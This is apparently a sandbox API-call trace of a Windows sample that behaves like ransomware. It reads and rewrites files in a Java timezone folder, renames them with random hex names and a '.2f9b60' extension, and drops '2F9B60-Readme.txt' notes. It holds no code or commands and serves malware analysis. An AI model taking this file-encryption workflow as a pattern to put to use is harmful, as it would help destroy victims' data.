[0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x2c66a84f [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x604536bc [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x50b850e8 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x3b40bcd7 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xdc86f2c [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x3ff16104 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x2161ee1d [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x669e9251 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x6d35d35e [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x390f67a5 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x1df44391 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x30328221 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x2c73ff2d [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x4c45776e [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x1072d73 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xbacc460 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x20a16648 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x4b872c33 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x1713f547 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xaa1e36f [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xf2446dc [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xef3492 [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xfdbc46b [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x190c846e [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x7a7df85d [0171.284] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x12ddda31 [0171.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d5e0 [0171.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0171.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d610 [0171.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0171.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d5b0) returned 1 [0171.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d4c0) returned 1 [0171.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0171.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0171.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d4c0 [0171.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d4c0) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f085a0 [0171.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ed3cc0 [0171.302] ReadFile (in: hFile=0x2e48, lpBuffer=0x41f085a0, nNumberOfBytesToRead=0x40c, lpNumberOfBytesRead=0x4688f990, lpOverlapped=0x0 | out: lpBuffer=0x41f085a0*, lpNumberOfBytesRead=0x4688f990*=0x40c, lpOverlapped=0x0) returned 1 [0171.302] SetFilePointerEx (in: hFile=0x2e48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.302] WriteFile (in: hFile=0x2e48, lpBuffer=0x41ed3cc0*, nNumberOfBytesToWrite=0x40c, lpNumberOfBytesWritten=0x4688f994, lpOverlapped=0x0 | out: lpBuffer=0x41ed3cc0*, lpNumberOfBytesWritten=0x4688f994*=0x40c, lpOverlapped=0x0) returned 1 [0192.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a280 [0192.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a250 [0192.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a250) returned 1 [0192.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed3cc0) returned 1 [0192.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f085a0) returned 1 [0192.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0192.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0192.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1a250 [0192.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0192.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0192.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a1f0 [0192.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a1f0) returned 1 [0192.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1a1f0 [0192.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e420 [0192.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e3f0 [0192.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e3f0) returned 1 [0192.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0192.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0192.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x431a8c70 [0192.541] SetFilePointerEx (in: hFile=0x2e48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.541] WriteFile (in: hFile=0x2e48, lpBuffer=0x431a8c70*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x4688fab0, lpOverlapped=0x0 | out: lpBuffer=0x431a8c70*, lpNumberOfBytesWritten=0x4688fab0*=0x102, lpOverlapped=0x0) returned 1 [0201.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a26f0 [0201.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a26f0) returned 1 [0201.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f9720 [0201.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a26f0 [0201.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a26c0 [0201.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a26c0) returned 1 [0201.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x423a26c0 [0201.313] sprintf (in: _Dest=0x423a26c0, _Format="%c%c" | out: _Dest="76") returned 2 [0201.313] sprintf (in: _Dest=0x423a26c2, _Format="%c%c" | out: _Dest="84") returned 2 [0201.313] sprintf (in: _Dest=0x423a26c4, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.313] sprintf (in: _Dest=0x423a26c6, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.313] sprintf (in: _Dest=0x423a26c8, _Format="%c%c" | out: _Dest="6d") returned 2 [0201.313] sprintf (in: _Dest=0x423a26ca, _Format="%c%c" | out: _Dest="2b") returned 2 [0201.313] sprintf (in: _Dest=0x423a26cc, _Format="%c%c" | out: _Dest="84") returned 2 [0201.313] sprintf (in: _Dest=0x423a26ce, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.313] sprintf (in: _Dest=0x423a26d0, _Format="%c%c" | out: _Dest="38") returned 2 [0201.313] sprintf (in: _Dest=0x423a26d2, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.313] sprintf (in: _Dest=0x423a26d4, _Format="%c%c" | out: _Dest="06") returned 2 [0201.313] sprintf (in: _Dest=0x423a26d6, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.313] sprintf (in: _Dest=0x423a26d8, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.313] sprintf (in: _Dest=0x423a26da, _Format="%c%c" | out: _Dest="17") returned 2 [0201.313] sprintf (in: _Dest=0x423a26dc, _Format="%c%c" | out: _Dest="96") returned 2 [0201.313] sprintf (in: _Dest=0x423a26de, _Format="%c%c" | out: _Dest="18") returned 2 [0201.313] RtlInitAnsiString (in: DestinationString=0x4688fb28, SourceString="76841fab6d2b847e385c061ba0179618" | out: DestinationString="76841fab6d2b847e385c061ba0179618") [0201.313] RtlAnsiStringToUnicodeString (in: DestinationString=0x4688faf8, SourceString="76841fab6d2b847e385c061ba0179618", AllocateDestinationString=1 | out: DestinationString="76841fab6d2b847e385c061ba0179618") returned 0x0 [0201.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce5c5b0 [0201.314] wcscat (in: _Dest=0x43107410, _Source="76841fab" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\76841fab") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\76841fab" [0201.314] wcscat (in: _Dest=0x43107410, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\76841fab.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\76841fab.2f9b60" [0201.314] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\76841fab.2f9b60", NtPathName=0x4688fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\76841fab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431a6720 Thread: id = 2890 os_tid = 0x1b10 [0166.894] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\istanbul")) returned 0x20 [0166.895] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul", dwFileAttributes=0x20) returned 1 [0168.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\istanbul"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e0c [0170.251] GetFileSizeEx (in: hFile=0x2e0c, lpFileSize=0x469efb20 | out: lpFileSize=0x469efb20*=1464) returned 1 [0170.251] SetFilePointerEx (in: hFile=0x2e0c, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.251] ReadFile (in: hFile=0x2e0c, lpBuffer=0x469efaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x469efae8, lpOverlapped=0x0 | out: lpBuffer=0x469efaa0*, lpNumberOfBytesRead=0x469efae8*=0x4, lpOverlapped=0x0) returned 1 [0170.281] SetFilePointerEx (in: hFile=0x2e0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b6c0 [0170.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c3e0 [0170.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c470 [0170.283] NtQuerySystemTime (in: CurrentTime=0x469ef9e0 | out: CurrentTime=0x469ef9e0*=132462177753982000) returned 0x0 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x19bbe360 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x4b426322 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0xbbd1132 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x6af91ebe [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x6ca4d920 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x5071cfd4 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x74c5df95 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x26347fc2 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x1b74feb2 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x5d9cd39c [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x27abe2c9 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x64b2da4b [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x2d13900 [0170.283] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x396d0fa1 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x2468691c [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x7d7f4543 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x7654e669 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x63cdc887 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x40057bc2 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x318cd612 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x35ea0d9c [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x625efdc9 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x7b87e637 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x1a25ba4d [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x3b290039 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x3337bd73 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x2c9b637 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x7cb1f9b6 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x79128e8e [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x5f4f9ec4 [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x20c4f4fd [0170.284] RtlRandomEx (in: Seed=0x469ef9d0 | out: Seed=0x469ef9d0) returned 0x1b08910 [0170.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c4a0 [0170.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0170.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c4d0 [0170.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0170.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c470) returned 1 [0170.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b6c0) returned 1 [0170.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0170.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0170.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b6c0 [0170.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b6c0) returned 1 [0170.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d53cc0 [0170.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d62d00 [0170.298] ReadFile (in: hFile=0x2e0c, lpBuffer=0x41d53cc0, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x469ef9d0, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesRead=0x469ef9d0*=0x5b8, lpOverlapped=0x0) returned 1 [0170.298] SetFilePointerEx (in: hFile=0x2e0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.298] WriteFile (in: hFile=0x2e0c, lpBuffer=0x41d62d00*, nNumberOfBytesToWrite=0x5b8, lpNumberOfBytesWritten=0x469ef9d4, lpOverlapped=0x0 | out: lpBuffer=0x41d62d00*, lpNumberOfBytesWritten=0x469ef9d4*=0x5b8, lpOverlapped=0x0) returned 1 [0203.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abdf0 [0203.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abb80 [0203.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abb80) returned 1 [0203.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d62d00) returned 1 [0203.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0203.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0203.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0203.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202abb80 [0203.381] SetFilePointerEx (in: hFile=0x2e0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0203.381] WriteFile (in: hFile=0x2e0c, lpBuffer=0x431a91c0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x469efaf0, lpOverlapped=0x0 | out: lpBuffer=0x431a91c0*, lpNumberOfBytesWritten=0x469efaf0*=0x102, lpOverlapped=0x0) returned 1 [0207.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0207.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866e40 [0207.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c650 [0207.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c650) returned 1 [0207.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d520 [0207.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c650 [0207.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c620 [0207.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c620) returned 1 [0207.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866e40) returned 1 [0207.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0207.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42c1c620 [0207.713] sprintf (in: _Dest=0x42c1c620, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c622, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c624, _Format="%c%c" | out: _Dest="42") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c626, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c628, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c62a, _Format="%c%c" | out: _Dest="df") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c62c, _Format="%c%c" | out: _Dest="bb") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c62e, _Format="%c%c" | out: _Dest="3c") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c630, _Format="%c%c" | out: _Dest="06") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c632, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.713] sprintf (in: _Dest=0x42c1c634, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.714] sprintf (in: _Dest=0x42c1c636, _Format="%c%c" | out: _Dest="9b") returned 2 [0207.714] sprintf (in: _Dest=0x42c1c638, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.714] sprintf (in: _Dest=0x42c1c63a, _Format="%c%c" | out: _Dest="76") returned 2 [0207.714] sprintf (in: _Dest=0x42c1c63c, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.714] sprintf (in: _Dest=0x42c1c63e, _Format="%c%c" | out: _Dest="ff") returned 2 [0207.714] RtlInitAnsiString (in: DestinationString=0x469efb68, SourceString="6ec042cf6fdfbb3c06cce39bcd76bcff" | out: DestinationString="6ec042cf6fdfbb3c06cce39bcd76bcff") [0207.714] RtlAnsiStringToUnicodeString (in: DestinationString=0x469efb38, SourceString="6ec042cf6fdfbb3c06cce39bcd76bcff", AllocateDestinationString=1 | out: DestinationString="6ec042cf6fdfbb3c06cce39bcd76bcff") returned 0x0 [0207.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce620f0 [0207.715] wcscat (in: _Dest=0x431a1140, _Source="6ec042cf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\6ec042cf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\6ec042cf" [0207.715] wcscat (in: _Dest=0x431a1140, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\6ec042cf.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\6ec042cf.2f9b60" [0207.715] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\6ec042cf.2f9b60", NtPathName=0x469efb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\6ec042cf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x43145bc0 [0237.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145bc0) returned 1 [0237.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a5510) returned 1 [0237.759] NtQueryInformationFile (in: FileHandle=0x2e0c, IoStatusBlock=0x469efb78, FileInformation=0x469efb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x469efb78, FileInformation=0x469efb88) returned 0x0 [0237.759] NtSetInformationFile (FileHandle=0x2e0c, IoStatusBlock=0x469efb78, FileInformation=0x469efb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1140) returned 1 [0240.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce620f0) returned 1 [0240.285] FlushFileBuffers (hFile=0x2e0c) returned 1 [0240.636] CloseHandle (hObject=0x2e0c) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x43108610 [0242.650] wcscpy (in: _Dest=0x43108610, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0242.650] wcscat (in: _Dest=0x43108610, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" [0242.650] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\2f9b60-readme.txt")) returned 0xffffffff [0243.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 2894 os_tid = 0xd30 [0166.903] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\london")) returned 0x20 [0166.904] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London", dwFileAttributes=0x20) returned 1 [0168.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\london"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e00 [0170.208] GetFileSizeEx (in: hFile=0x2e00, lpFileSize=0x46d6fa00 | out: lpFileSize=0x46d6fa00*=2024) returned 1 [0170.208] SetFilePointerEx (in: hFile=0x2e00, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.208] ReadFile (in: hFile=0x2e00, lpBuffer=0x46d6f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x46d6f9c8, lpOverlapped=0x0 | out: lpBuffer=0x46d6f980*, lpNumberOfBytesRead=0x46d6f9c8*=0x4, lpOverlapped=0x0) returned 1 [0170.229] SetFilePointerEx (in: hFile=0x2e00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.229] RtlAllocateHeap 